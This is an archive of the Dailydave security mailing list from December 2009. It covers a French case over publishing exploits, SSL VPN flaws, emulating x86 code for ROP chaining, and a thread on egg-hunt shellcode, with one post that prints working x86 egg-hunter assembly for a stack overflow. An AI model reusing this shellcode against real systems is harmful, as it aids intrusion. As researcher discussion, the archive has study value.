From blancher at cartel-securite.fr Tue Dec 1 01:52:30 2009 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Tue, 01 Dec 2009 07:52:30 +0100 Subject: [Dailydave] Give us your tired, your poor, your exploit writers yearning to breath free! In-Reply-To: <448e9a320911301022i509a4683t86071dbd149a3b77@mail.gmail.com> References: <4B13F6FB.5050307@immunityinc.com> <448e9a320911301022i509a4683t86071dbd149a3b77@mail.gmail.com> Message-ID: <1259650350.5912.29.camel@anduril.intranet.cartel-securite.net> Le lundi 30 novembre 2009 ? 10:22 -0800, Michal Zalewski a ?crit : > but offering them to the highest bidder is bound to strike a chord > with many audiences, and many societies were eager to ban or restrict > such trade in the past He has not been sued for *trading* exploits, but for *publishing* them. At the time he was initially convicted, hist company was not, afaik, selling exploits but was publishing them on frsirt.fr. In particular, it seems that the very publication of an exploit for MS06-001 before the patch was made available seems to have retained a lot of attention from the court... Finally, the final judgment, in its last lines, refers to "writings directly visible and accessible to all from the website allowing, computer security flaws exploitation", which does not limit to exploits at all. -- http://sid.rstack.org/ PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From lcamtuf at coredump.cx Tue Dec 1 02:05:01 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Mon, 30 Nov 2009 23:05:01 -0800 Subject: [Dailydave] Give us your tired, your poor, your exploit writers yearning to breath free! In-Reply-To: <1259650350.5912.29.camel@anduril.intranet.cartel-securite.net> References: <4B13F6FB.5050307@immunityinc.com> <448e9a320911301022i509a4683t86071dbd149a3b77@mail.gmail.com> <1259650350.5912.29.camel@anduril.intranet.cartel-securite.net> Message-ID: <448e9a320911302305g5eb25706pca1e4cf14a9b3ed@mail.gmail.com> > He has not been sued for *trading* exploits, but for *publishing* them. My French is rusty, but Dave's original post stated: "... convicting them of selling the WMF exploit" If they were sued for merely publishing it, then yup, it's a bit less exciting. Cheers, /mz From halvar at gmx.de Tue Dec 1 11:17:44 2009 From: halvar at gmx.de (Halvar Flake) Date: 1 Dec 2009 17:17:44 +0100 Subject: [Dailydave] Give us your tired, your poor, your exploit writers yearning to breath free! In-Reply-To: References: <4B13F6FB.5050307@immunityinc.com> Message-ID: <4B1541A8.4010504@gmx.de> Charles Miller wrote: > Crap, I'm traveling to France in January. My laptop is probably > considered a weapon of mass destruction there :( In order to prevent having it confiscated as weapon of mass destruction, perform the following steps: 1) Open Laptop 2) Remove the biological food remains that have become a breeding ground for strange bacterial species 3) Close Laptop You're welcome. :) Cheers, Halvar From dave at immunityinc.com Tue Dec 1 11:35:45 2009 From: dave at immunityinc.com (dave) Date: Tue, 01 Dec 2009 11:35:45 -0500 Subject: [Dailydave] US-CERT: SSL VPNS for fun and profit. Message-ID: <4B1545E1.4030800@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.kb.cert.org/vuls/id/261869 """ Clientless SSL VPN products break web browser domain-based security models Overview Clientless SSL VPN products from multiple vendors operate in a way that breaks fundamental browser security mechanisms. An attacker could use these devices to bypass authentication or conduct other web-based attacks. ... This issue was discovered by David Warren and Ryan Giobbi. Much of the original research into this issue was done by Michal Zalewski. <--good thing you don't live in France! :> """ The funny thing with these products (as we've seen them here) is they work as if they are accessing only one security domain. So you pretty much need to lock them down JUST to your OWA site. If you let them access your whole intranet, you've "mitigated" a lot of risk, but you've reduced your intranet to a single "completely trusted" zone. Which may be "as intended" but it's probably not. And of course, Javascript does not end your problems. Some of them also parse (and attempt to sanitize) Java applets, Flash, etc. - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org iEYEARECAAYFAksVReEACgkQtehAhL0gheqLSQCfSqGpyFojyUJrhq6uu9YaKZTG 30IAnjI264xuDpnAWayoTlaxl+oJ6FZN =hWb2 -----END PGP SIGNATURE----- From blancher at cartel-securite.fr Tue Dec 1 03:42:40 2009 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Tue, 01 Dec 2009 09:42:40 +0100 Subject: [Dailydave] Give us your tired, your poor, your exploit writers yearning to breath free! In-Reply-To: <448e9a320911302305g5eb25706pca1e4cf14a9b3ed@mail.gmail.com> References: <4B13F6FB.5050307@immunityinc.com> <448e9a320911301022i509a4683t86071dbd149a3b77@mail.gmail.com> <1259650350.5912.29.camel@anduril.intranet.cartel-securite.net> <448e9a320911302305g5eb25706pca1e4cf14a9b3ed@mail.gmail.com> Message-ID: <1259656960.6061.2.camel@anduril.intranet.cartel-securite.net> Le lundi 30 novembre 2009 ? 23:05 -0800, Michal Zalewski a ?crit : > > He has not been sued for *trading* exploits, but for *publishing* them. > My French is rusty, but Dave's original post stated: Ask Julien ;) > "... convicting them of selling the WMF exploit" > If they were sued for merely publishing it, then yup, it's a bit less > exciting. Then Dave's French is definitely rusty too ;) Exploits were publicly available at the time. -- http://sid.rstack.org/ PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From lcamtuf at coredump.cx Tue Dec 1 14:24:07 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Tue, 1 Dec 2009 11:24:07 -0800 Subject: [Dailydave] US-CERT: SSL VPNS for fun and profit. In-Reply-To: <4B1545E1.4030800@immunityinc.com> References: <4B1545E1.4030800@immunityinc.com> Message-ID: <448e9a320912011124o289979cmf30c2a6f5fd8ed52@mail.gmail.com> > This issue was discovered by David Warren and Ryan Giobbi. Much of the > original research into this issue was done by Michal Zalewski. <--good > thing you don't live in France! :> Touche ;-) /mz From dave at immunityinc.com Wed Dec 9 15:33:36 2009 From: dave at immunityinc.com (dave) Date: Wed, 09 Dec 2009 15:33:36 -0500 Subject: [Dailydave] Hide And Seek Message-ID: <4B2009A0.1090809@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mmm. What you say? Mmm. That you only meant well? Well of course you did Mmm. What you say? Mmm. That it's all for the best? (Of course it is) -- Imogen Heap A long time ago I hung out a lot with Frank Swiderski, and we tried to write a MPEG decoder in our spare time (and failed). But later he went to Microsoft and audited the .Net CLR for bugs similar to my favourite bug of this Month's CANVAS release (CVE-2009-0091). Bugs like that are great because they're 100% reliable even with DEP and NX and everything else installed - and in this case it supports HTTP-MOSDEF which allows bypassing authenticating HTTP proxies (over SSL if you like) :>. One thing I notice with security things is that most people have never seen a hacker go. It's like, they're modelling in their head what they think a hacker would do, but a hacker would really be operating in a completely different way. Either much much faster, or much much slower, or using different tools, or a completely different set of logic. People are somewhat getting used to papers describing real world exploits (http://blogs.iss.net/archive/2009bhtalkexplained.html) is a recent example, and Kostya's CLOUDBURST talk comes to mind. But the process of hacking is as thought advanced as that paper, and yet glossed over by most people. Or as Alan Furst would say, "The world needs more people who can do good without getting caught." - -dave P.S. ISS ppl: chunk of a know size. <-- s/know/known. Not that I can talk. :> Isn't it interesting that both the talks referenced in the paper were in Singapore at Thomas Lim's SyScan? :> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org iEYEARECAAYFAksgCaAACgkQtehAhL0gheqlqwCeKHnBZHI7mOwijRp1w7dZPcvy Uk0AmQHXbDhTc/BYKQ7DgZvp9f8WnjZ+ =OO2t -----END PGP SIGNATURE----- From jauto.bugtraq at gmail.com Thu Dec 17 08:46:07 2009 From: jauto.bugtraq at gmail.com (Julio Auto) Date: Thu, 17 Dec 2009 10:46:07 -0300 Subject: [Dailydave] Solvers! In-Reply-To: <28749c0e0910220540y2855fdaega562c34e775657f3@mail.gmail.com> References: <4ADF7999.6090905@immunityinc.com> <28749c0e0910220540y2855fdaega562c34e775657f3@mail.gmail.com> Message-ID: Bringing back an old thread... I have just found time to write some notes inspired by one of Halvar's challenges in that presentation. Absolutely not related to solvers or static analysis, though: http://www.julioauto.com/rants/code_normal.htm Any feedback is appreciated :) Julio Auto On Thu, Oct 22, 2009 at 9:40 AM, nnp wrote: > The architecture and design of the basic algorithm behind most solvers > we use for input generation was first described in 1960 (the DPLL > algorithm) so I think we're safe from the patent mongers there ;-) As > for the logic-specific parts of the solvers, most are described in > academic papers spanning the last 40 years so I presume that > constitutes 'prior art'. > > I don't know of anybody working on designing or implementing the > modern crop of SMT solvers that has tried to, or intends to try to, > patent their algorithms but if I'm wrong I'd be interested to hear. > Patenting that sort of work can never be good. All of the leading > solvers are available for download here > http://www.smtexec.org/exec/?jobs=529 , in case anyone wants to go > play. > > On Wed, Oct 21, 2009 at 10:14 PM, dave wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I'm trying to get a django app built so I can demo some of our new tech, > > but it's slow going. In the meantime today's extra credit reading and > > viewing: > > > > http://seanhn.wordpress.com/ (solver->exploits blog and paper) > > > > > http://media.blackhat.com/bh-usa-06/video/2006_BlackHat_Vegas-V7-Halvar_Flake-Need_New_Tools.mp4 > > > > That's probably Halvar's best talk - in it he chats about solving input > > crafting issues with large equation solvers (from 2006 so will perhaps > > bust some evil software patents, if that's your sort of thing). But in > > general, just worth a second viewing. > > > > - -dave > > > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.4.9 (GNU/Linux) > > Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org > > > > iEYEARECAAYFAkrfeZkACgkQtehAhL0ghepuPACZAdeYsAH6tkM6ww3aej9NgZ+d > > m2cAn033RGHOsnDwM7PfpYVeAJByjCx7 > > =i6+r > > -----END PGP SIGNATURE----- > > _______________________________________________ > > Dailydave mailing list > > Dailydave at lists.immunitysec.com > > http://lists.immunitysec.com/mailman/listinfo/dailydave > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20091217/8a4e7d64/attachment.htm From dave at immunityinc.com Thu Dec 17 16:20:12 2009 From: dave at immunityinc.com (dave) Date: Thu, 17 Dec 2009 16:20:12 -0500 Subject: [Dailydave] Solvers! In-Reply-To: References: <4ADF7999.6090905@immunityinc.com> <28749c0e0910220540y2855fdaega562c34e775657f3@mail.gmail.com> Message-ID: <4B2AA08C.9040706@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 That's good stuff - the other place that comes in handy is when building things like DEPLIB, which basically does that for all code segments ending in ret, then solves to see which ones you want to chain together to do what you want to do. - -dave Julio Auto wrote: > Bringing back an old thread... > > I have just found time to write some notes inspired by one of Halvar's > challenges in that presentation. Absolutely not related to solvers or > static analysis, though: http://www.julioauto.com/rants/code_normal.htm > > Any feedback is appreciated :) > > Julio Auto > > On Thu, Oct 22, 2009 at 9:40 AM, nnp > wrote: > > The architecture and design of the basic algorithm behind most solvers > we use for input generation was first described in 1960 (the DPLL > algorithm) so I think we're safe from the patent mongers there ;-) As > for the logic-specific parts of the solvers, most are described in > academic papers spanning the last 40 years so I presume that > constitutes 'prior art'. > > I don't know of anybody working on designing or implementing the > modern crop of SMT solvers that has tried to, or intends to try to, > patent their algorithms but if I'm wrong I'd be interested to hear. > Patenting that sort of work can never be good. All of the leading > solvers are available for download here > http://www.smtexec.org/exec/?jobs=529 , in case anyone wants to go > play. > > On Wed, Oct 21, 2009 at 10:14 PM, dave > wrote: > I'm trying to get a django app built so I can demo some of our new >> tech, > but it's slow going. In the meantime today's extra credit reading and > viewing: > > http://seanhn.wordpress.com/ (solver->exploits blog and paper) > > >> http://media.blackhat.com/bh-usa-06/video/2006_BlackHat_Vegas-V7-Halvar_Flake-Need_New_Tools.mp4 > > That's probably Halvar's best talk - in it he chats about solving >> input > crafting issues with large equation solvers (from 2006 so will perhaps > bust some evil software patents, if that's your sort of thing). But in > general, just worth a second viewing. > > -dave > _______________________________________________ Dailydave mailing list Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > ------------------------------------------------------------------------ > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org iEYEARECAAYFAksqoIwACgkQtehAhL0gheoM1wCfcLKNhVOexGJVA6aJAtcXzhwh pa4AnA7lMEgT72SvmP2tvHVDzKcHMIS+ =rh3p -----END PGP SIGNATURE----- From dima.ky at gmail.com Thu Dec 17 17:16:40 2009 From: dima.ky at gmail.com (dima) Date: Thu, 17 Dec 2009 17:16:40 -0500 Subject: [Dailydave] Solvers! In-Reply-To: References: <4ADF7999.6090905@immunityinc.com> <28749c0e0910220540y2855fdaega562c34e775657f3@mail.gmail.com> Message-ID: <20091217171640.7678a2a1@dima-desk> > Bringing back an old thread... > > I have just found time to write some notes inspired by one of Halvar's > challenges in that presentation. Absolutely not related to solvers or > static analysis, though: > http://www.julioauto.com/rants/code_normal.htm > > Any feedback is appreciated :) > > Julio Auto > Once I crafted myself a tool, based on Cody Pierce's tool called PyEmu, to solve a similar problem. Then I plugged that into IDA using IdaPython. Essentially, what I could do using that tool is to select a peace of code from the listing and then run the tool on it. The tool would emulate that peace of code using PyEmu and show me the result in the form of an "expressions" where I could see all the sources contributing to the result and all the absolute values where computed, so it was easy to spot the essence of the operations performed. I guess that the better way to approach this is to first translate the code into some intermediate form (language) which would allow to track the data flow easier and then do all the analysis. Actually, the whole point of me writing this message is to say that, as far as you've chosen python, you can just use PyEmu instead of writing an emulator from scratch. -- regards, Dima From pablo.sole at gmail.com Fri Dec 18 10:01:17 2009 From: pablo.sole at gmail.com (Pablo Sole) Date: Fri, 18 Dec 2009 12:01:17 -0300 Subject: [Dailydave] Solvers! In-Reply-To: References: <4ADF7999.6090905@immunityinc.com> <28749c0e0910220540y2855fdaega562c34e775657f3@mail.gmail.com> Message-ID: <4B2B993D.4010409@gmail.com> Some time ago, when I was writing DEPLIB, I remember trying to do something like what you propose and I remember some funny problems arose. 1) You're not modeling memory yet. But, as you start on a machine without a known previous state, you will need to address memory in some abstract form: - MOV EAX, [EBX+0x10] translates to something like EAX=memory["current_EBX+0x10"] further use of EAX can get this even uglier: - SHR EAX, ECX Then, flags can give you nightmares for a week and we're still playing on a single function (no CALL/JMP support). 2) Modeling memory abstractly means you can address the same piece of memory thru different addresses (abstract addresses): Easy case: MOV [EBX+10], 0xcafecafe MOV EAX, EBX MOV [EAX+10], 0xdeadbeef Not so easy case: MOV [EBX+10], 0xcafecafe XOR AX,AX [<== supporting 16 bits operations means your atom is not 32bits, more on this later] SHL EAX,16 ADD EAX,EBX MOV [EAX+10], 0xdeadbeef 3) You need to normalize cases that you know can be solved (even if you don't know the real values), and here it comes handy a SAT solver. In my case I wrote a simplifier manually, but later I realized that it would have been better to use MiniSAT or something like that. In your current script, XOR EAX, EAX translates to EAX = eax0 ^ ( eax0 ), which should be simplified to EAX = 0 (same with all arithmetic identities, etc...) 4) My first approach was to use whole 32bits regs, but to support 16/8bits operations you need to use a smaller atom: MOV EAX,0xcafecafe ADD AX, 0xfefe SHL AL, 3 ROR EAX, 5 After I finished DEPLIB I realized that a bit atom would be the best option for a number or reasons: - easy SAT solvers integration - use same schema to support any operation - easy flags support (think about SBB/ADC/etc...) But moving to a bit atom means that if you mix bitwise operation with arithmetic ones they get transformed to a huge mess, unsuitable for human reading. MOV AL, 0x7f ADD AL, CL XOR AL, BL The result from those 3 simple operations, taken up to a bit level, is hard to untwist and generate a human readable output. Not a very encouraging mail :/, but I take all this problems as interesting situations to solve and play with. I hope to have given you some more challenges to figure out in you free time :) pablo. Julio Auto wrote: > Bringing back an old thread... > > I have just found time to write some notes inspired by one of > Halvar's challenges in that presentation. Absolutely not related to > solvers or static analysis, though: > http://www.julioauto.com/rants/code_normal.htm > > Any feedback is appreciated :) > > Julio Auto > > On Thu, Oct 22, 2009 at 9:40 AM, nnp > wrote: > > The architecture and design of the basic algorithm behind most > solvers > we use for input generation was first described in 1960 (the DPLL > algorithm) so I think we're safe from the patent mongers there > ;-) As > for the logic-specific parts of the solvers, most are described in > academic papers spanning the last 40 years so I presume that > constitutes 'prior art'. > > I don't know of anybody working on designing or implementing the > modern crop of SMT solvers that has tried to, or intends to try to, > patent their algorithms but if I'm wrong I'd be interested to hear. > Patenting that sort of work can never be good. All of the leading > solvers are available for download here > http://www.smtexec.org/exec/?jobs=529 , in case anyone wants to go > play. > > On Wed, Oct 21, 2009 at 10:14 PM, dave > wrote: > I'm trying to get a django app built so I can demo some of our > > new tech, > but it's slow going. In the meantime today's extra credit > > reading and > viewing: > > http://seanhn.wordpress.com/ (solver->exploits blog and paper) > > > > > http://media.blackhat.com/bh-usa-06/video/2006_BlackHat_Vegas-V7-Halvar_Flake-Need_New_Tools.mp4 > > That's probably Halvar's best talk - in it he chats about > > solving input > crafting issues with large equation solvers (from 2006 so will > > perhaps > bust some evil software patents, if that's your sort of > > thing). But in > general, just worth a second viewing. > > -dave > From dave at immunityinc.com Mon Dec 21 09:25:49 2009 From: dave at immunityinc.com (dave) Date: Mon, 21 Dec 2009 09:25:49 -0500 Subject: [Dailydave] Mitigations Message-ID: <4B2F856D.5090300@immunityinc.com> Someone needs to spend the tiny amount of money and buy CANVAS Early Updates, where I believe you can get an exploit that works fine on DEP protected Windows XP SP3. I have to admit that I only personally testing Acrobat 9.0.0 instead of 9.2. I think Pablo originally wrote the exploit against 9.2 though. Something fun to verify today I guess. :> Also you'll get an exploit for Microsoft ADFS which will bypass DEP but only for 32 bit Windows for now. Most mitigations are exactly that - they add a second level of money that the attacker has to spend. It's usually wishful thinking that they provide a conversion from "exploitable" to "DoS". -dave http://www.adobe.com/support/security/advisories/apsa09-07.html """ Customers using Microsoft DEP ("Data Execution Prevention") functionality available in certain versions of Microsoft Windows are at reduced risk in the following configurations: * All versions of Adobe Reader 9 running on Windows Vista SP1 or Windows 7 * Acrobat 9.2 running on Windows Vista SP1 or Windows 7 * Acrobat and Adobe Reader 9.2 running on Windows XP SP3 * Acrobat and Adobe Reader 8.1.7 running on Windows XP SP3, Windows Vista SP1, or Windows 7 With the DEP mitigation in place, the impact of this exploit has been reduced to a Denial of Service during our testing. """ From nbrito at sekure.org Wed Dec 23 09:16:08 2009 From: nbrito at sekure.org (Nelson Brito) Date: Wed, 23 Dec 2009 12:16:08 -0200 Subject: [Dailydave] Merry Xmas & Happy "Search Memory for you Shellcode"... Message-ID: <002a01ca83da$7b0a1d10$711e5730$@org> Hey, fellows. I am get some spare time to work with a well-known technique called "egghunt", based on skape excellent article "Safely Searching Process Virtual Address Space" (http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf). But while trying to perform this technique on a really old vulnerability (MS01-023) the egghunt doesn't work as good as I was expecting. The code: win32_syscall_forward_01 PROC start: xor edx, edx ; zeroing the edx, it is necessary to avoid BO in 'Release' inc_page: or dx, 0FFFh ; add PAGE_SIZE-1 to edx inc_byte: inc edx ; increment our pointer by one setup_syscall: push edx ; save edx on the stack push +02h ; push NtAccessCheckAndAuditAlarm pop eax ; pop into eax int 2Eh ; perform the syscall (KiSystemService()) cmp al, 05h ; did we get 0xc0000005 (STATUS_ACCESS_VIOLATION)? pop edx ; restore edx je inc_page ; yes, invalid pointer, go to the next page setup_badge: mov eax, "NBNB" ; throw our badge in eax check_badge: mov edi, edx ; set edi to the pointer we validated scasd ; compare the dword in edi to eax jnz inc_byte ; no match? increment the pointer by one scasd ; compare the dword in edi to eax again - which is now eax + 3 jnz inc_byte ; no match? increment the pointer by one badge_found: jmp edi ; found the badge, jump 8 bytes past it into our code win32_syscall_forward_01 ENDP Well, I called this "forward" because it will try to find the code from "the place" BO happens to the end of STACK. Am I right? But in this vulnerability the stager shellcode will be placed in somewhere on the BUTTOM of the STACK, right? /* * $Id: .siganture,v 1.3 2009-12-11 09:22:54-02 nbrito Exp $ * * Author: Nelson Brito Copyright(c) 2004-2009 Nelson Brito. All rights reserved worldwide. http://fnstenv.blogspot.com */ From nbrito at sekure.org Wed Dec 23 09:36:33 2009 From: nbrito at sekure.org (Nelson Brito) Date: Wed, 23 Dec 2009 12:36:33 -0200 Subject: [Dailydave] Merry Xmas & Happy "Search Memory for you Shellcode"... Message-ID: <002b01ca83dd$54f1bc20$fed53460$@org> What if? inc_page: and dx, 0FFFFF000h ; add PAGE_SIZE-1 to edx inc_byte: dec edx ; decrement our pointer by one Have anyone tested this yet??? /* * $Id: .siganture,v 1.3 2009-12-11 09:22:54-02 nbrito Exp $ * * Author: Nelson Brito Copyright(c) 2004-2009 Nelson Brito. All rights reserved worldwide. http://fnstenv.blogspot.com */ > -----Original Message----- > From: Nelson Brito [mailto:nbrito at sekure.org] > Sent: Wednesday, December 23, 2009 12:16 PM > To: 'dailydave at lists.immunityinc.com' > Subject: Merry Xmas & Happy "Search Memory for you Shellcode"... > > Hey, fellows. > > I am get some spare time to work with a well-known technique called > "egghunt", based on skape excellent article "Safely Searching Process > Virtual Address Space" (http://www.hick.org/code/skape/papers/egghunt- > shellcode.pdf). > > But while trying to perform this technique on a really old vulnerability > (MS01-023) the egghunt doesn't work as good as I was expecting. > > The code: > win32_syscall_forward_01 PROC > start: > xor edx, edx ; zeroing the edx, it is > necessary to avoid BO in 'Release' > inc_page: > or dx, 0FFFh ; add PAGE_SIZE-1 to edx > inc_byte: > inc edx ; increment our pointer by one > setup_syscall: > push edx ; save edx on the stack > push +02h ; push NtAccessCheckAndAuditAlarm > pop eax ; pop into eax > int 2Eh ; perform the syscall > (KiSystemService()) > cmp al, 05h ; did we get 0xc0000005 > (STATUS_ACCESS_VIOLATION)? > pop edx ; restore edx > je inc_page ; yes, invalid pointer, go to the > next page > setup_badge: > mov eax, "NBNB" ; throw our badge in eax > check_badge: > mov edi, edx ; set edi to the pointer we > validated > scasd ; compare the dword in edi to eax > jnz inc_byte ; no match? increment the pointer > by one > scasd ; compare the dword in edi to eax > again - which is now eax + 3 > jnz inc_byte ; no match? increment the pointer > by one > badge_found: > jmp edi ; found the badge, jump 8 bytes > past it into our code > win32_syscall_forward_01 ENDP > > Well, I called this "forward" because it will try to find the code from > "the place" BO happens to the end of STACK. Am I right? > > But in this vulnerability the stager shellcode will be placed in somewhere > on the BUTTOM of the STACK, right? > > /* > * $Id: .siganture,v 1.3 2009-12-11 09:22:54-02 nbrito Exp $ > * > * Author: Nelson Brito > > Copyright(c) 2004-2009 Nelson Brito. All rights reserved worldwide. > http://fnstenv.blogspot.com */ From berendjanwever at gmail.com Wed Dec 23 14:51:56 2009 From: berendjanwever at gmail.com (Berend-Jan Wever) Date: Wed, 23 Dec 2009 20:51:56 +0100 Subject: [Dailydave] Merry Xmas & Happy "Search Memory for you Shellcode"... In-Reply-To: <002b01ca83dd$54f1bc20$fed53460$@org> References: <002b01ca83dd$54f1bc20$fed53460$@org> Message-ID: <3fa2f5bb0912231151o131fd259pba2d6b134ece64b3@mail.gmail.com> Not sure this helps (I must admit I only scanned your email) but you could try this: http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode Berend-Jan Wever http://skypher.com/SkyLined On Wed, Dec 23, 2009 at 3:36 PM, Nelson Brito wrote: > What if? > > inc_page: > and dx, 0FFFFF000h ; add PAGE_SIZE-1 to edx > inc_byte: > dec edx ; decrement our > pointer > by one > > Have anyone tested this yet??? > > /* > * $Id: .siganture,v 1.3 2009-12-11 09:22:54-02 nbrito Exp $ > * > * Author: Nelson Brito > > Copyright(c) 2004-2009 Nelson Brito. All rights reserved worldwide. > http://fnstenv.blogspot.com */ > > > > -----Original Message----- > > From: Nelson Brito [mailto:nbrito at sekure.org] > > Sent: Wednesday, December 23, 2009 12:16 PM > > To: 'dailydave at lists.immunityinc.com' > > Subject: Merry Xmas & Happy "Search Memory for you Shellcode"... > > > > Hey, fellows. > > > > I am get some spare time to work with a well-known technique called > > "egghunt", based on skape excellent article "Safely Searching Process > > Virtual Address Space" (http://www.hick.org/code/skape/papers/egghunt- > > shellcode.pdf). > > > > But while trying to perform this technique on a really old vulnerability > > (MS01-023) the egghunt doesn't work as good as I was expecting. > > > > The code: > > win32_syscall_forward_01 PROC > > start: > > xor edx, edx ; zeroing the edx, > it is > > necessary to avoid BO in 'Release' > > inc_page: > > or dx, 0FFFh ; add PAGE_SIZE-1 > to edx > > inc_byte: > > inc edx ; increment our > pointer > by one > > setup_syscall: > > push edx ; save edx on the > stack > > push +02h ; push > NtAccessCheckAndAuditAlarm > > pop eax ; pop into eax > > int 2Eh ; perform the > syscall > > (KiSystemService()) > > cmp al, 05h ; did we get 0xc0000005 > > (STATUS_ACCESS_VIOLATION)? > > pop edx ; restore edx > > je inc_page ; yes, invalid > pointer, > go to the > > next page > > setup_badge: > > mov eax, "NBNB" ; throw our badge > in eax > > check_badge: > > mov edi, edx ; set edi to the > pointer > we > > validated > > scasd ; compare the dword > in > edi to eax > > jnz inc_byte ; no match? > increment > the pointer > > by one > > scasd ; compare the dword > in > edi to eax > > again - which is now eax + 3 > > jnz inc_byte ; no match? > increment > the pointer > > by one > > badge_found: > > jmp edi ; found the badge, > jump > 8 bytes > > past it into our code > > win32_syscall_forward_01 ENDP > > > > Well, I called this "forward" because it will try to find the code from > > "the place" BO happens to the end of STACK. Am I right? > > > > But in this vulnerability the stager shellcode will be placed in > somewhere > > on the BUTTOM of the STACK, right? > > > > /* > > * $Id: .siganture,v 1.3 2009-12-11 09:22:54-02 nbrito Exp $ > > * > > * Author: Nelson Brito > > > > Copyright(c) 2004-2009 Nelson Brito. All rights reserved worldwide. > > http://fnstenv.blogspot.com */ > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20091223/204aeda5/attachment-0001.htm From dave at immunityinc.com Thu Dec 24 05:10:59 2009 From: dave at immunityinc.com (dave) Date: Thu, 24 Dec 2009 05:10:59 -0500 Subject: [Dailydave] A people's guide to search-shellcode Message-ID: <4B333E33.7020203@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I'm guessing every team out there has their own methodology on how to do this, but these are the ones I know about. In general the problem statement is that you want a SMALL (30-90 bytes or so) shellcode that you can use when space is at a premium. While some simple callbacks shellcodes (c.f. ordinal shellcodes, shellcodes with known addresses, etc.) are also in this size range, the payload for an exploit may require sophisticated techniques that are unable to be compressed to that level. For example, an exploit targeting a browser may require the ability to repair structures in the browser after exploitation to prevent it from crashing under the user, alerting them to the attack. Likewise, reliability or protocol tunnelling constraints may requires a large, complex main shellcode. Hence the use of a "search" shellcode. Other design goals are speed - searching all of memory can take some time, and the more time goes by the more likely the process being searched is to crash or otherwise misbehave. Likewise, failing to provide an exit for the shellcode reduces size slightly but sometimes produces error conditions if the shellcode never finds the main payload, and simply loops forever at 100% CPU. This tends to alert targets that something is wrong. In Windows search shellcode you do not have the ability to use system functions and you can only use system calls that do not change (your shellcode may be restricted to some useful subset of Windows versions). The basic strategy originally was to create an SEH handler - this essentially emulated the code of IsBadReadPtr() to look through all of memory, but later versions of Windows (i.e. XP SP2->3) required some trickery to bypass SafeSEH restrictions. Even more modern versions of Widnows (Vista/2008/7) have effectively disabled this technique. This is the technique you can read about in excruciating depth in the Shellcoder's Handbook. (I wrote this, now obsolete, chapter so the code you see in the book is cut and paste out of CANVAS.) Unix exploit developers were already publishing shellcodes that did their searching using system calls to have the kernel validate shellcode addresses. You can see Matt Miller writing about using NtDisplayString() for this purpose on Windows back in 2004 [1]. CANVAS's modern Win32 search shellcode (and I assume others'?) uses NtAddAtom()[2] to validate the readability of an address. This technique results in smaller and more compatible shellcode than the SEH technique, but as Alex Sotirov has (on Twitter) complained of, is adding lots of Atoms to the internal Kernel tables. (The maximum number of new additional Atoms in the CANVAS shellcode is == the number of readable pages in the process - possibly some other shellcodes are using a per-byte or per-dword check? Likewise, NT should be fine with very large numbers of Atoms. Be interesting to know what the top limit is there). We've not seen a lot of instability related to this, but anything is possible in Windows-land. Other possibilities for search-shellcode are endless - for example, parsing the heap structures themselves or searching through the freelist (most of the time the shellcode is on the heap and often you have enough control to place your shellcode on a specific freelist slot), constructing big payloads from tiny fragments[3], optimizing for reliability by doing checksums (many corrupted copies of your shellcode often exist on the heap), parsing the PE header and calling IsBadReadPtr(), disabling SafeSEH (without the use of VirtualProtect() :>) and using the older SEH style code, or a thousand other things, like so many different seashells on the beach. - -dave [1] http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf [2] http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Atoms/NtAddAtom.html [3] http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org iEYEARECAAYFAkszPjMACgkQtehAhL0ghepuwACZAZxBP7G2pMPu0ijj6u57G1y1 axgAmwS+Q1Bf2mdJ/MOS6YyzFBLobALh =tSRj -----END PGP SIGNATURE----- From dave at immunityinc.com Thu Dec 24 16:20:25 2009 From: dave at immunityinc.com (dave) Date: Thu, 24 Dec 2009 16:20:25 -0500 Subject: [Dailydave] Year in Review Message-ID: <4B33DB19.1080604@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: 